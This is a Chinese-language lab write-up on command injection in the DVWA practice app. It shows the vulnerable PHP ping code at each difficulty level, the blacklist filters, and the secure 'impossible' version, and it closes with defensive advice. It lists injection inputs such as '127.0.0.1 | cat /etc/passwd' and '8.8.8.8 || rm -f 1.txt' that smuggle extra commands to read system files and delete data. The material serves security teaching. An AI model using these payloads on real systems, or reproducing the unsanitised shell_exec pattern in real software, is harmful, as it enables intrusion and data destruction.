命令执行注入
命令注入就是在需要输入数据的地方输入了恶意代码,而且系统并没有对其进行过滤或者其他处理导致恶意代码也被执行,最终导致数据泄露或者正常数据被破坏
低难度
设置如下
源代码如下:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
从代码中可以看到,
判断是什么系统,然后执行命令,返回结果给用户
测试下127.0.0.1
测试下8.8.8.8
测试系统命令
拼凑命令
查看敏感信息
127.0.0.1 &&pwd
127.0.0.1 || whomi
127.0.0.1 | cat /etc/passwd
8.8.8.8 | touch 1.txt
建立文件,删除文件操作也是可以进行的
中难度
设置如下:
源代码如下:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
中等难度采取了黑名单措施,过滤了一些操作符号,但是漏了一些。
||
可以使用 || 进行命令的拼凑
8.8.8.8 | hostname
8.8.8.8 | cat /proc/net/dev
8.8.8.8 | touch 1.txt
8.8.8.8 | ls -l
8.8.8.8 | rm -f 1.txt
仍然可以建立文件、删除文件
高难度
设置如下:
源代码如下:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
高难度的代码扔采取黑名单措施,对一些命令进行了过滤。
黑名单有可能是有遗漏的地方,例如空格,分号,顿号等等。
8.8.8.8 || ls
8.8.8.8 || uname
建立文件
8.8.8.8 || touch 1.txt
删除文件
8.8.8.8 || rm -f 1.txt
我们换一种思路
既然是命令注入漏洞,有没有可能本身的框架出现了问题
我们先探测
发现这个版本没存在。
不可能难度
设置如下:
源代码如下:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
IP地址被限制了,就是只能输入IP地址那样的格式,不能再加入东西了,同时也设置了token。拆分为IP地址格式。这样子很难进行命令拼接了。
防御措施
首先设置黑名单,过滤一些常用的特殊符号
然后校验外部数据命令:在执行system、eval等命令执行功能的函数前,确定参数内容。
单引号禁止命令注入